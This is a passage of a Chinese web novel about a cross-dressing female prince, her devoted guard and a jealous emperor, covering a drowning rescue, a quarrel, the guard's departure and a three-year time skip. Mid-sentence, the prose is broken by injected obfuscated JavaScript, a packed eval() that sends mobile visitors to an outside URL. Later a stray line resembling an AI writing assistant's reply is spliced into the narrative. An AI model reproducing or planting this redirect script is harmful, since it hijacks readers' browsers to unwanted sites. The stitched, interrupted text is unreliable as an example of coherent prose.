祈昭呛咳了几声,冰冷的湖水从喉间涌出,胸口一阵阵发闷,后背与大腿的旧伤被冷水一激、又被按压时牵扯,疼得他眉心紧锁,却还是勉强抬手,轻轻碰了碰谢随的胳膊,声音虚弱得几乎听不清:“……我没事。” 这一碰,让谢随瞬间红了眼角。 他从未在任何人面前流露过半分脆弱,可此刻,看着死里逃生的主子,所有的冷静与沉稳尽数崩塌。他连忙脱下自己身上尚且干燥的外袍,小心翼翼裹在祈昭身上,将人打横抱起,动作轻得不能再轻,生怕再碰疼他半分。 “属下这就带您回别院取暖,立刻传医官。”谢随语速极快,脚步稳得异常,怀里的人轻得让他心疼,“都怪属下,是属下没有守好您,没有检查栈道,是属下的错……” 他一路自责,一路狂奔,将祈昭稳稳放在软榻上,立刻命人生火、煮姜汤、换干净衣物。整个别院瞬间忙作一团,所有人都被方才那一幕吓得魂飞魄散,谁也不敢想象,若是谢随再晚一步,北冥王会落得怎样的下场。 祈昭换完干爽的衣物,裹着厚厚的毯子,脸色依旧苍白,唇上没有半分血色。他喝了半盏温热的姜汤,气息才稍稍平稳,看着一旁始终垂首立在榻边、浑身紧绷、不停自责的谢随,轻声开口:“不怪你,是意外。” 谢随却不肯原谅自己,双拳死死攥紧,指节泛白:“属下的职责,就是护您周全,可属下让您身陷险境,险些……” 他话说到一半,再也说不下去,只是重重跪在地上,额头抵着地面,声音哽咽:“请王降罪。” 祈昭看着他这副模样,心里微微发酸。谢随自小跟在他身边,忠心耿耿,出生入死无数次,这一次,本就是无妄之灾。他轻轻抬手,示意他起身:“起来吧,我不怪你。若不是你,我今日怕是真的回不来了。” 谢随这才缓缓起身,却依旧不敢离开榻前半步,目光死死锁在祈昭身上,仿佛一松手,人就会再次消失。 而这场湖畔意外,很快便以瞒不住的速度,传了出去。 不过一个时辰,消息便快马加鞭送入了宫中。 萧惊渊正在御书房批奏折,手里的朱笔还未落下,就见内侍跌跌撞撞冲进来,脸色惨白地禀报:“殿下!不好了!北冥王殿下在城郊湖畔坠水,险些、险些出事……” “哐当——” 朱笔应声落地,墨汁溅洒在奏折上,晕开一片刺眼的黑。 萧惊渊猛地站起身,周身的气压瞬间降至冰点,脸色惨白如纸,连声音都在控制不住地发抖:“你说什么?!” 他几乎是夺门而出,连龙袍都来不及整理,翻身上马,马鞭狠狠落下,疯了一般朝着城郊湖畔狂奔。 脑子里只有一个念头—— 祈昭溺水了,他差点失去他。 那两个月的等待、委屈、不安,在这一刻尽数化为极致的恐惧,席卷了他全身。他不敢想象,若是祈昭真的出事,他该怎么办。 马蹄声急促而慌乱,踏碎了一路的日光。 当萧惊渊浑身是汗、发丝凌乱地冲进别院寝殿时,一眼便看到了榻上脸色苍白、虚弱不堪的祈昭,还有一旁寸步不离、浑身带着水汽的谢随。 那一刻,所有的理智尽数崩断。 他大步冲到榻前,小心翼翼却又控制不住力道地握住祈昭的手,那双手冰凉得让他心脏抽痛,他声音发颤,眼眶瞬间通红,连一句完整的话都说不出:“祈昭……你怎么会……怎么会出事……” 他不敢抱,不敢碰,生怕弄疼他,只能死死握着他的手,眼底是失而复得的疯狂后怕,还有压抑不住的心疼。 而当他的目光,无意间扫过谢随唇上那一丝浅淡的、与祈昭唇色相近的痕迹时,再想起所有人都在说“是谢侍卫救了王爷,做了人工呼吸”,萧惊渊的瞳孔骤然一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261137|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩,周身的温度,瞬间冷得吓人。 醋意、后怕、心疼、不安…… 无数情绪在他胸腔里疯狂翻涌。 他看着榻上虚弱的人,又看向一旁一脸坦然、忠心护主的谢随,指节攥得发白,一字一句,从牙缝里挤出: “谢随,你很好。” “只是从今往后,离他远点。” 一场因溺水救命而起的风暴,才刚刚拉开序幕。 殿内一片安静,祈昭刚缓过气息,闭着眼小憩,萧惊渊却再也压不住胸腔里翻涌的妒火与后怕。他冷冷瞥了一眼守在门口的谢随,转身迈步走了出去。声音冷得像冰:“谢随,出来。” 谢随抬头看了他一眼,沉默地跟上,脚步沉稳,没有半分畏惧。 别院外的柳树下,风一吹,凉意刺骨。 萧惊渊猛地转过身,帝王威压毫无保留地倾泻而出,那双素来清贵凛冽的眸子里,此刻全是压抑到极致的怒火:“你可知,你今日碰的是谁?” 谢随垂首,却不卑不亢:“属下救的是北冥王,是属下的主子。” “救?”萧惊渊冷笑一声,指节攥得发白,“人工呼吸,心脏复苏……全天下,只有本帝才有资格碰他,你算什么东西?” 这句话彻底刺中了谢随的底线。 一直沉默温顺的护卫,猛地抬眼,英挺的眉眼间翻涌着孤勇与倔强,声音不大,却字字清晰: “殿下,属下是不算什么。可属下自幼被王捡回来,从小跟着她长大,她饿了,属下给她寻食;她冷了,属下给她挡风;她女扮男装步步惊心,是属下日夜守在她身边,替她挡刀,替她藏拙,替她扛下所有明枪暗箭。” “殿下坐拥天下,权掌四海,您能来几次北冥府?您能时时刻刻守在她身边吗?她受伤的时候,您在朝堂;她难眠的时候,您在政务;她险些葬身湖底的时候,是属下跳下去救她,不是您。” 萧惊渊的脸色一寸寸沉了下去,周身的空气几乎凝固。 他最痛的软肋,被谢随一句话戳穿。 可少年帝王从不会认输,他上前一步,居高临下,声音冷得刺骨: “你自幼跟随,便觉得自己能越界?谢随,你记住——你无权无势,无爵无位,你只是她身边一条忠心的狗。” “本帝能给她尊荣,给她庇护,给她天下安稳,能护她女儿身一世不被泄露。你能给她什么?除了拼命,你一无所有。” “今日若不是你救了她,单凭你口对口碰她,本帝现在就能拔了你的舌头,废了你的双手。” 谢随浑身一震,眼眶瞬间红了,却依旧挺直脊梁,寸步不让: “属下的确无权无势,可属下有一条命,能随时为她去死。殿下贵为天子,能为她不顾一切跳湖吗?能为她连帝王威仪都不要吗?能像属下一样,眼里心里,自始至终只有她一个人吗?” “殿下在意的是身份,是资格,是占有。可属下在意的,从来只有她活不活着,疼不疼,怕不怕。” “今日就算再死一万次,属下还是会救她。” 两人针锋相对,目光在半空相撞,炸出漫天火星。 一个是九五之尊,用权势与地位划定界限,宣示主权; 一个是赤胆忠犬,用陪伴与性命做底气,护主成痴。 萧惊渊气得胸口起伏,他从未被一个护卫如此顶撞,更恨谢随说的每一句,都是他无法反驳的事实。 他最痛的,就是不能时时刻刻陪在祈昭身边,就是在她遇险时,不在现场。 而谢随,替他完成了最该由他完成的事。 这比任何指责,都更戳他的心。 “你很好。”萧惊渊闭上眼,再睁开时,只剩帝王的冷硬与决绝,“谢随,本帝不罚你,但你记住——从今往后,不准再以任何理由,触碰她分毫。” “下次再让本帝看到,你离她半步之内,休怪本帝不念她的情面。” 谢随垂在身侧的手死死握紧,指节泛白,却终究没有再反驳,只是沉沉开口: “属下只听王的命令。” 一句话,再次把萧惊渊堵得哑口无言。 风卷着落叶掠过两人脚边,一场没有硝烟的争吵,以两败俱伤的僵持收场。 而殿内,原本闭目小憩的祈昭,缓缓睁开了眼。 窗外的争吵,一字不落地落进了她耳里。 她指尖轻轻攥紧被褥,清俊的眉眼间,掠过一丝极淡的、无人察觉的复杂情绪。 她谁都不想伤,可这两个人,却早已为了她,站到了彼此的对立面。 42. 王生来这样·十二 殿外的争吵还在冷风里飘着,一字一句,都清清楚楚扎进祈昭的耳朵里。 她没有起身,没有出声,只是安安静静靠在软榻上,垂着眼,长长的睫毛在眼下投出一小片浅淡的阴影。 方才溺水捡回一条命的虚软还没散去,浑身都泛着冷,心口更是闷得发疼。 她是人人敬畏的北冥王,是朝堂上不动声色的权臣,是府里所有人的主心骨。 爱妃们依赖她,安安黏着她,谢随誓死效忠她,萧惊渊全心护着她。 所有人都觉得,她无所不能,她坚不可摧,她永远都能撑住一切。 可没有人知道,此刻躺在榻上的这个人,骨子里只是一个被迫女扮男装、连软弱都不敢露的女子。 她不能哭,不能倒,不能说怕,更不能在任何人面前流露出半分无助。 一旦塌了,北冥府就塌了,她藏了十几年的秘密,就全毁了。 窗外,萧惊渊的帝王威压冷冽刺骨,句句都是占有与资格; 谢随的声音倔强滚烫,字字都是陪伴与忠心。 他们为她争,为她吵,为她红着眼针锋相对。 可没有人问过一句—— 王,你怕不怕? 你累不累? 你刚才沉入冰冷湖底的时候,是不是也很无助? 祈昭轻轻抬手,覆在自己的胸口。 那里还残留着溺水时的窒息感,还有谢随按压时的钝痛,更有一层无人能懂的、沉甸甸的孤单。 萧惊渊有天下,有皇权,有可以为她横扫一切的底气; 谢随有自由,有忠心,有可以不顾一切为她死的坦荡。 只有她,戴着一张摘不掉的“北冥王”面具,活在层层枷锁里。 不敢爱人,不敢示弱,不敢生病,不敢死。 连刚才在鬼门关走了一圈,她醒来第一反应,都是撑着神色,告诉所有人“我没事”。 她看着窗外那两个为她争执不休的人,眼底轻轻泛起一丝极淡的湿意,又被她飞快地压了下去。 无助吗? 真的无助。 被人拼了命地爱着、护着、争着,可她却连一句“我很怕”都无处可说。 她是他们的天,可她的天,从来都只有自己撑着。 风从窗缝钻进来,凉得她微微一颤。 祈昭缓缓闭上眼,声音轻得只有自己能听见。 “……别吵了。” 别再为我争了。 我只是……有点累了。 我给你把这段温柔又戳心、女主终于展露无助、教育男主的后续写出来,完全贴合人设,情绪细腻不崩: 第二日天刚亮,薄雾还笼着湖畔别院。 祈昭醒得很早,一睁眼便习惯性往门口望去——往常这个时辰,谢随必定已经守在廊下,身姿挺拔,沉默又安心,像一尊永远不会挪开的守护神。 可今日,榻前空荡,廊下无声。 整个院子静得反常。 她微微蹙眉,撑着身子坐起,伤口已经不似昨日剧痛,却依旧发沉。她唤了两声:“谢随?” 无人应答。 身边伺候的侍女连忙上前,低声道:“王爷,谢侍卫……从昨夜起就没见人影。” 祈昭的心猛地一沉。 她立刻披了外衣走出寝殿,正好撞见匆匆走来的萧惊渊。他今日换了一身常服,少了几分帝王冷冽,多了几分晨起的柔和,见她脸色不好,连忙上前扶她:“怎么不多睡会儿?伤口扯到了?” “谢随呢?”祈昭直接开口,声音里带着一丝不易察觉的慌。 萧惊渊动作一顿,眼底掠过一丝不自然,沉默片刻才淡淡道:“昨夜与他吵完,他便策马走了,去向……本帝不知。” “不知?”祈昭抬眸看他,清俊的眉眼间覆上一层薄凉,“你是帝,他是臣,昨夜你们争执那般激烈,你连他去了何处都不曾留意?” 萧惊渊被她看得心口一紧,低声解释:“他那时神色激动,似是负气离去,本帝以为……他只是回北冥府静一静。” “回北冥府?”祈昭轻轻笑了一声,却没有半分暖意,只有疲惫与失望,“萧惊渊,你明明知道,谢随就算死,也不会在我重伤未愈时擅自离开。他若走,必定是因为……昨夜你那句话,戳得他无地自容。” 萧惊渊垂在身侧的手微微攥紧。 他是帝王,习惯了用权势定尊卑,用身份划界限,昨夜气急,口不择言,的确伤了人。可他不觉得自己错了——他只是怕,怕有人越界,怕失去她。 “本帝只是让他守分寸,并未赶他走。”萧惊渊声音低沉,“他救了你,本帝记着,可他不该……” “不该什么?”祈昭打断他,语气第一次这般直白,带着压抑许久的软刺,“不该救我?还是不该在你不在的时候,守着我?” 萧惊渊猛地抬眼。 祈昭望着他,眼底没有怒气,只有一片沉沉的、让人心疼的平静: “你是天子,你有天下,有威仪,有资格计较谁近谁远。可你有没有想过,谢随他只有我。” “他自幼无父无母,是我把他捡回来,他这辈子所有的光,都在我身上。你说他无权无势,说他只是护卫,可你知道吗?” “我数次身陷险境,是他替我挡刀;我夜里怕黑不敢点灯,是他默默守在窗外;我女扮男装险些暴露,是他用命替我遮掩。” “萧惊渊,我不需要你们为我争,为我吵,为我互相敌视。” “我只需要你们都安安稳稳地待在我身边。” 她的声音很轻,却一字一句砸在萧惊渊心上。 他看着眼前这人——是高高在上的北冥王,是他藏了半生的心上人,可此刻,眉眼间全是藏不住的无助与疲惫。 她怕谢随出事。 怕自己唯一的、从少年时就陪在身边的人,就这么被一句话逼走。 更怕这两个拼了命护着她的人,最后因她两败俱伤。 萧惊渊心口猛地一缩,从未有过的悔意涌了上来。 他想伸手抱她,却又不敢,只能低声放软了语气,带着从未有过的妥协: “是我不好。” “我不该与他争执,不该说那些话伤他。等他回来,我向他赔罪。” 祈昭闭上眼,轻轻叹了口气。 她没有再责备,只是声音轻得像雾: “派人去找吧。” “活要见人,死要见尸。” “他不能有事。” 萧惊渊立刻应声:“好。” 那一刻,少年帝王终于明白—— 他争的是她的人,可她要的,从来都是所有人都平安。 而此刻,无人知晓。 负气离去的谢随,并未走远。 他只是在山林里,独自跪了一夜。 像一只被赶出门的忠犬,既不敢离开,又没脸回去。 谢随策马狂奔,一夜奔出数十里,直到人困马乏,才在一片荒林里停了下来。 天还未亮,林间雾气浓重,冷得刺骨,像极了他小时候蜷缩在街角、快要冻死的那个冬天。 他翻身下马,靠在枯树上,一夜未合眼的眼底布满红血丝。 萧惊渊那句“你无权无势,无爵无位,你只是她身边一条忠心的狗”,像一根淬了冰的针,反反复复扎在他心上。 他从不觉得做护卫委屈。 能守着祈昭,能替她挡刀,能看着她安稳,他便觉得这一生都值得。 可昨夜,他第一次开始 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那年她也才七八岁,穿着小小的世子服,面容清俊,却眼神温柔,蹲在他面前,把热乎乎的包子递给他,轻声说: “别怕,跟我走,以后我护着你。” 从那天起,他有了名字——谢随。 跟着她,追随她,永不背叛。 她教他识字,教他武功,教他如何在深府里活下去; 她受委屈时,他替她不平; 她熬夜处理公务时,他默默守在门外; 她女扮男装最怕被人看穿,他便把自己活成最沉默的影子,替她挡尽所有流言蜚语。 他的世界很小,小到只有一个祈昭。 可萧惊渊的话,狠狠打碎了他的自欺欺人。 无权无势,就护不住她。 无爵无位,在真正的风浪面前,连站在她身边的资格都没有。 一旦她的身份暴露,他连为她说话、为她撑腰的立场都不存在。 他可以不要名分,不要荣耀,可他不能没有保护她的能力。 谢随握紧掌心的玉佩,指节泛白,冰凉的玉面硌得掌心发疼,却让他混沌了一夜的心,一点点清明。 他低头,凝视着那枚陪伴了他十几年的玉佩,眼底渐渐燃起从未有过的火光。 或许…… 他真的该去寻找自己的身世了。 或许这枚玉佩,藏着他的来历,藏着他本该拥有的身份与力量。 若他身世不凡,便能有立场站在她身侧,与皇权并肩,与风雨抗衡。 若身世平凡,那他便凭自己一刀一枪,闯出一片属于自己的天地,挣得爵位,挣得权力,挣得能堂堂正正护她一生的资格。 不再只是一个依附她而生的护卫。 不再是别人口中“无权无势”的影子。 而是能成为她最坚固的靠山, 是她身份暴露那天,敢站在天下人面前,说一句“我护她”的人。 谢随缓缓站起身,将玉佩重新贴身藏好,动作郑重,像是藏起了半生的迷茫,与余生的决心。 他翻身上马,勒住缰绳,望向北冥府的方向,眼底只剩坚定。 王,等我。 等我找到自己的来历,等我挣得足够的权力。 到那一天,我再也不会让任何人,用“无权无势”四个字轻贱我。 更不会让任何人,有机会伤你分毫。 马蹄再次扬起,这一次,不再是负气逃离, 而是带着一腔孤勇与忠心,奔向了一条未知却坚定的路。 43. 王生来这样·十三 祈昭在别院再也待不下去,当天便强撑着伤势启程回了北冥府。 马车刚停稳,她几乎是立刻掀帘而下,顾不上周身的疲惫与伤口隐痛,第一句便是沉声问向迎上来的管家: “谢随回来了吗?” 管家愣了一下,慌忙躬身: “回王爷,自您去别院后,谢侍卫从未回过府。” 一句话,让祈昭的心直直沉了下去。 府里空荡荡的,他常守的廊下、常站的门旁、常待命的偏厅,全没了那道熟悉的挺拔身影。 往日里只要她一唤,便会立刻应声出现的人,此刻像彻底消失在了这世间。 她强压着心头翻涌的慌乱,转身回了书房,提笔写下密信,放飞了府中最灵敏的信鸽。 一只、两只、三只…… 她把所有能联络的暗线全部启动,只求能得到一丝谢随的消息。 可一天过去, 两天过去, 三天过去, 放飞的信鸽,无一返还,了无音讯。 祈昭坐在空荡荡的书房里,指尖冰凉,一夜未眠。 她不敢去想,谢随一个人在外会遭遇什么。 他走得仓促,身上没有银两,没有干粮,甚至连一件厚实的外衣都没带。 昨夜吵架时他还浑身湿透,如今在外漂泊,会不会受寒?会不会挨饿?会不会遇到危险? 越想,心口越是发闷发疼。 第四日清晨,她亲自带人,重返了那日谢随策马离去的荒林。 深秋的林子落叶满地,风一吹便沙沙作响,一片萧瑟。 众人沿着马蹄印细细搜寻,终于在一棵枯树下,找到了一张被石子压着的纸条。 纸张很薄,字迹是谢随独有的利落锋利,只有短短一句话,没有落款,没有去向: “勿寻,勿追,勿问。” 简简单单六个字, 没有说他要去哪里, 没有说他为何离开, 半句都没提起身世、玉佩、前程。 像是一场无声无息的告别,干脆得让人心头发慌。 祈昭捏着那张纸条,指节微微泛白,清俊的眉眼间第一次露出了藏不住的脆弱。 他什么都不带走,什么都不留下, 甚至连一句解释都不肯给。 她怎么可能不寻、不追、不问? 他是她从小捡回来的人,是她看着长大的,是这世上除了萧惊渊之外,唯一知道她秘密、陪她熬过无数黑暗岁月的人。 他走的时候身无分文,无依无靠,她怎么可能放任他一个人在外漂泊? 祈昭缓缓闭上眼,再睁开时,眼底只剩不容置疑的坚定。 她转身对身后暗卫沉声下令,声音带着一丝不易察觉的颤抖: “动用北冥府全部暗线,全城、全境搜寻谢随。” “他身上没有银两,没有信物,衣着单薄,凡是客栈、饭馆、村落、山道,一处都不许放过。” “记住——活要见人,死要见尸。” “就算把整片天地翻过来,也要把他给我找回来。” 命令落下,暗卫齐齐领命,瞬间四散而去。 祈昭独自站在林间,手里紧紧攥着那张单薄的纸条,风掀起她的衣袍,显得身形格外单薄。 这一刻,她不再是那个杀伐果断的北冥王。 她只是一个弄丢了至亲之人、满心慌乱与无助的人。 萧惊渊站在不远处,静静看着她孤单的背影,心口密密麻麻地疼。 他终于彻底明白,自己那日的话,到底伤了多深的两个人。 他缓步走上前,第一次没有争、没有怨,只是轻轻站在她身侧,低声道: “我也派御林军去找。 天下之大,我陪你,一起把他找回来。” 林间风声呜咽, 一张纸条,一场不辞而别, 让整个北冥府,都陷入了无声的牵挂与焦急。 而祈昭不知道的是, 此刻的谢随,正握着那枚贴身玉佩,孤身一人,踏上了一条从无人走过的、寻找身世的路。 他不说,不回头,不留痕迹, 只是不想再做那个无权无势的影子, 只想有一天,能以全新的身份,堂堂正正回到她身边。 整整七天。 北冥府的暗卫搜遍了城郊百里,萧惊渊的御林军查遍了附近三城,谢随,还是一点消息都没有。 祈昭回到府里,再也撑不住那副冷静淡漠的北冥王模样。 她屏退左右,独自一人,推开了那间从来只有谢随能进的小房间。 房间很小,干净得过分,一尘不染,处处都是他常年驻守的痕迹。 窗台上摆着他练功用的旧手套,墙角靠着他磨得发亮的长刀,床褥叠得方方正正,像他这个人一样,规矩、沉默、妥帖。 她蹲下身,一样一样翻。 木箱里,全是她小时候随手送他的乱七八糟东西: 断了弦的小木弓 缺了口的小陶哨 画得歪歪扭扭的小人像 她当年随手塞给他的旧玉佩、旧发带、旧布条 每一样,都被他仔细收着,干干净净,一点没丢。 桌案上,摊着他从小到大的日记。 字迹从歪歪扭扭,到锋利沉稳,一页一页,写的全是她: “今日王饿了,我偷藏了一个馒头。” “今日王受罚,我在门外守了一夜。” “王今日差点被看穿身份,我吓得出了一身冷汗。” “王溺水,我恨不得替她死。” 没有一句写他自己。 全是她。 旁边还有一叠厚厚的抄写笔墨,是她随口说过的诗文、政令、兵法,他都默默抄了一遍又一遍,像是要把她的一切,都刻进骨血里。 而最底下,压着一张泛黄的纸。 上面是一行一行工整的字,写得清清楚楚—— 是她喜欢吃的糕点食谱。 哪一种糖放多少,哪一种面和多久,什么时候蒸,什么时候晾, 他记得比厨子还清楚。 祈昭捏着那张食谱,指尖忽然就抖了。 她这才后知后觉地明白—— 这么多年,谢随从来没有自己。 他的喜好,他的时间,他的念想,他的一生,全都围着她转。 她送的破烂,他当宝贝。 她随口一句话,他记到死。 她爱吃的点心,他默默背熟。 她的安危,他拿命去换。 可到头来,却被一句“无权无势”,逼得孤身离开,身无分文,连一句道别都不敢写。 祈昭慢慢蹲在地上,把脸轻轻埋在膝盖上。 窗外的天光落在她肩上,明明是北冥王,此刻却单薄得像一阵风就能吹走。 她翻遍了整个房间, 没有身世线索, 没有去向留言, 没有半点关于他自己的秘密。 只有一颗,完完整整、从头到尾,都交给她的心。 “谢随……” 她轻声唤他的名字,声音哑得不成样子,带着压抑到极致的委屈与慌乱。 “你到底去哪里了……” “你身上没有钱,没有吃的,你要怎么活?” “你什么都不告诉我,你让我怎么找你……” 房间里安安静静, 再也没有人会立刻应声: “属下在。” 她抱着那一箱她小时候送的破烂,抱着他写满她一生的日记,抱着那张记着她口味的糕点食谱,终于控制不住,肩膀轻轻颤抖。 她是女扮男装的北冥王, 她不能哭,不能示弱,不能崩溃。 可这一次,她真的撑不住了。 她把她的小影子,弄丢了。 谢随消失的第十天,祈昭几乎快要把自己逼垮。 这几日里,萧惊渊索性把朝政暂交心腹处理,整日守在北冥府,笨拙又认真地哄着她、陪着她。 他会亲自给她端茶,会默默替她盖好毯子,会在她盯着谢随房间发呆时,轻声说一句“再等等,会找到的”,会在她彻夜不眠时,陪她一起坐到天亮。 他不再提争风吃醋,不再提身份尊卑,只安安静静做一个陪她难过的人。 祈昭嘴上不说,心里却清楚。 可再多人的安慰,也填不上谢随离开的空缺。 就在她快要撑到极限时,府门外忽然传来一声轻响—— 有人从墙外丢进了一封没有落款、没有署名的信。 信封很简陋,字迹却是她刻在骨子里熟悉的锋利笔调,一笔一划,都是谢随。 祈昭几乎是颤抖着手拆开信纸。 信很短,寥寥数语,写得克制又安稳: “王,属下安好,勿忧。 身上盘缠充足,食宿无碍,暂无性命之虞。 不必寻,不必追,不必等,时机到了,自会归府。 万事保重。 谢随敬上。” 没有说他在哪里, 没有说他在做什么, 半个字都没提身世、玉佩、前程、权力, 只反复强调自己没事、有钱、安全,让她千万不要担心。 祈昭捏着信纸,指尖又轻又凉。 她太了解谢随了。 他这是算准了她会因为他身无分文而疯了一样找人,算准了她 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风轻轻吹过房间,带着一丝说不清的酸涩。 谢随用一场沉默的远行,守护他的王; 祈昭用一场不动声色的牵挂,等她的护卫归来; 而萧惊渊,用一场无声的陪伴,守着他心尖上的人。 信很短,思念很长。 这一别,不知归期。 谢随不会不回来。 他只是要去挣一份,能堂堂正正护她一生的资格。 那封简短的平安信,像是一剂强行针,也像是一道分界线。 祈昭把信小心收好,坐在空无一人的书房里,静坐了整整一夜。 窗外天光大亮时,她缓缓抬起眼。 眼底所有的慌乱、脆弱、牵挂、心疼,在这一刻尽数收起,冰封眼底。 她是北冥王。 不是那个会为一个护卫失魂落魄、茶饭不思的寻常人。 她身上压着北冥一族的生死,压着女扮男装的惊天秘密,压着朝堂暗流、边境战事、城墙安危,还有一整个需要她撑着的江山与府邸。 她不能倒,不能乱,更不能一直沉溺在情绪里。 谢随报了平安,便足够了。 他有他的路要走,她也有她的战场要守。 祈昭抬手,轻轻抚去眉尖的疲惫,再抬眼时,那副冷肃、淡漠、杀伐果断的北冥王模样,重新覆在了她身上。 眉眼锋利,气场沉冷,周身三尺之内,再无半分软弱可寻。 她起身,更衣、束发、戴上象征权位的玉佩,动作利落干脆,不见一丝拖沓。 推门而出时,对等候在外的管家沉声下令,语气恢复了往日的冷硬: “停止全境搜寻谢随。 暗线撤回,人手归位,各司其职。 他既自有打算,便由他去。” 管家一怔,却不敢多问,连忙躬身领命。 一旁站着的萧惊渊看着她瞬间冷下来的神情,心里微微一紧。 他知道,她这是把心硬锁起来了。 把对谢随的牵挂死死压在最深处,不显露、不提及、不外露,逼着自己回到那个无坚不摧的位置上。 接下来的几日,祈昭彻底变回了那个冷酷无情、做事雷厉风行的北冥王。 早朝之上,她言辞犀利,一针见血,压得满朝文武不敢抬头; 边境军报,她提笔批奏,决断干脆,守城布防、粮草调配一字不差; 府中事务,她赏罚分明,冷脸肃目,连往日亲近的侍从都不敢轻易靠近; 面对萧惊渊的关切,她也只是淡淡颔首,公私分明,不再有半分多余的情绪流露。 仿佛那个在谢随房间里抱着日记红了眼眶的人,从来都不曾存在过。 只有在夜深人静、四下无人时,她才会悄悄取出那封简短的信,指尖轻轻拂过字迹,沉默片刻,便又迅速收起,重新戴上坚硬的面具。 她在等。 但她不再表现出来。 她在牵挂。 但她绝不耽误正事。 谢随去闯他的天地, 她便守好她的江山。 等他归来那日,她依旧是那个能让他安心依靠、顶天立地的北冥王。 萧惊渊看着她强撑起来的冷硬,心里疼,却什么也没说。 他只是安安静静站在她身后,替她挡风遮雨,陪她一起,守着这座城,等着那个人。 而远方的谢随,若能看见此刻的她,定会明白—— 他的王,从来不会让他失望。 44. 王生来这样·十四 一晃,三年过去。 当年那个还带着青涩的北冥王,如今已是二十一岁的青年模样。身形愈发挺拔修长,眉眼清俊深邃,气质冷冽沉稳,往朝堂上一站,便叫满朝文武不敢直视。 这三年里,祈昭把北冥府、边境江防、城防军务打理得滴水不漏,国泰民安,边疆安稳,再无大的波澜。政务也渐渐松快下来,她终于能喘口气,却也迎来了新的、让她哭笑不得的麻烦—— 催婚。 从朝中重臣到宗室长辈,人人都盯着她的王府后院,三天两头递折子、进言,劝她选妃立妃、开枝散叶,好稳固北冥王府的血脉。 每次听到这话,祈昭都只能在心里默默叹气。 选妃? 立王妃? 她垂眸扫过自己一身肃然的王府朝服,再想起自己藏了十几年的女儿身,只觉得一股无鸡之力的荒诞感直冲头顶。 府里不是没有美人。 后院那些被安排进来、个个貌美温婉的女子,琴棋书画样样精通,眉眼温柔,满心满眼都是这位年轻俊朗的北冥王。 她们安静、乖巧、从不多言,只默默等候着一个永远不会到来的恩宠。 祈昭偶尔路过花园,看见她们临水梳妆、对花轻吟的模样,心里也会泛起一丝复杂的苦恼。 她是女子,给不了她们情爱,给不了她们名分,甚至连一句真心的怜惜,都不能光明正大地说出口。 只能一次次用朝政繁忙、江山为重,不动声色地搪塞过去,把所有催婚的声音,冷冷挡在王府门外。 外人只当她是一心向权、不近女色, 只有她自己知道,她是不能。 好在府里还有一点甜。 表姐的女儿——安安,如今也长到了七八岁,出落得眉目清秀,像极了她早逝的表姐,温柔又灵动。 小姑娘被教得极好,琴棋书画样样沾手,性子软萌乖巧,整个北冥府里,唯一一个敢肆无忌惮黏着她、抱着她胳膊喊“舅舅”的人。 “舅舅,你看我画的画。” “舅舅,我学了新曲子,弹给你听好不好?” “舅舅,你别总皱着眉嘛,安安给你带了点心。” 清脆软糯的声音,总能一点点化开祈昭周身的冷意。 她会放下公务,耐心陪小姑娘坐一会儿,摸一摸她的头,听她叽叽喳喳说些小事。 只有在安安面前,她才会卸下几分北冥王的冷酷,露出一点极淡的、温柔的笑意。 只是夜深人静时,那份被她深埋心底的牵挂,还是会悄悄冒出来。 谢随。 这三年,她从未真正停止过寻找。 暗线一批批派出,消息一层层递回,可那个人就像人间蒸发了一般,半点踪迹都无。 没有音讯,没有痕迹,没有任何能追踪的线索。 仿佛当年那封简短的平安信,就是他留在这世上最后的消息。 祈昭试过追着蛛丝马迹找, 试过动用所有力量查, 可到最后,都只能无疾而终。 慢慢的,她也不得不放弃了明面上的搜寻。 她知道,谢随是铁了心要藏起来。 不闯出一番天地,不拿到能护她周全的底气,他绝不会回来。 祈昭坐在窗前,指尖轻轻摩挲着那封三年前的旧信,字迹早已被摸得发软。 她轻轻叹了口气,眼底没有波澜,只有一片沉淀下来的、安静的等待。 罢了。 你去闯你的天地, 我守我的江山。 你若平安,便好。 你若归来,我便一直在。 窗外月光温柔,洒在北冥王清俊而孤寂的侧脸上。 她依旧是那个冷酷果决、执掌一方的北冥王, 只是在无人看见的心底, 始终留着一个小小的、无人知晓的位置, 等着一个名叫谢随的人,归来。 三年安稳,转眼便到了两年一度的皇家春猎。 这是大靖最隆重的盛事,上至皇室宗亲,下至名门望族,北冥、南冥两大王府,乃至江湖上隐世的千洦宗修仙门派——那群常年不问世事、只修灵脉道法的人,也会破例下山赴猎,既是彰显国力,也是各方势力暗中角力的场合。 一时间,京郊猎场旌旗蔽日,宝马香车连绵数里,铠甲铿锵,衣袂翩跹,仙气与贵气交织,热闹得近乎盛大。 祈昭一身玄色劲装,腰束玉带,长身玉立马背之上。 二十一岁的北冥王,眉眼冷冽清俊,气质沉稳慑人,只是静静立在那里,便引得全场目光不自觉汇聚。 她牵着身边的安安,小姑娘穿着浅粉骑装,抱着一把小巧的弓箭,怯生生又依赖地攥着她的衣袖,一口一个“舅舅”,软得让周围人都看得心化。 这三年,祈昭早已是朝野上下公认的定海神针,文能安邦,武能定国,边疆江防城防固若金汤,无人敢轻易挑衅。 可今日春猎,场中最引人热议的,却不是她,也不是端坐主位的帝王萧惊渊。 而是横空崛起的安淮一族。 近两年来,安淮王氏悄无声息重回权力巅峰,势力疯涨,封地、兵权、声望一路飙升,竟隐隐有与萧惊渊的皇权分庭抗礼之势,堪称大靖半壁江山。 所有人都在等安淮王现身。 可从晨时等到日中,仪仗、卫队、宗亲尽数到场,唯独安淮王本人,始终未曾露面。 高台之上,萧惊渊指尖轻叩扶手,眼底深不可测。 他看向空着的安淮王席位,神色平静,却无人知道他心底的戒备。 安淮一族崛起得太过诡异,太过迅猛,像一张无声铺开的大网,悄无声息笼罩了整个朝堂。 祈昭也注意到了这一点。 她牵着安安,目光淡淡扫过那片空座,眉尖微不可查地一蹙。 安淮王神秘至此,不朝见,不露面,不表态,却手握重权,这本身就是一件极不正常的事。 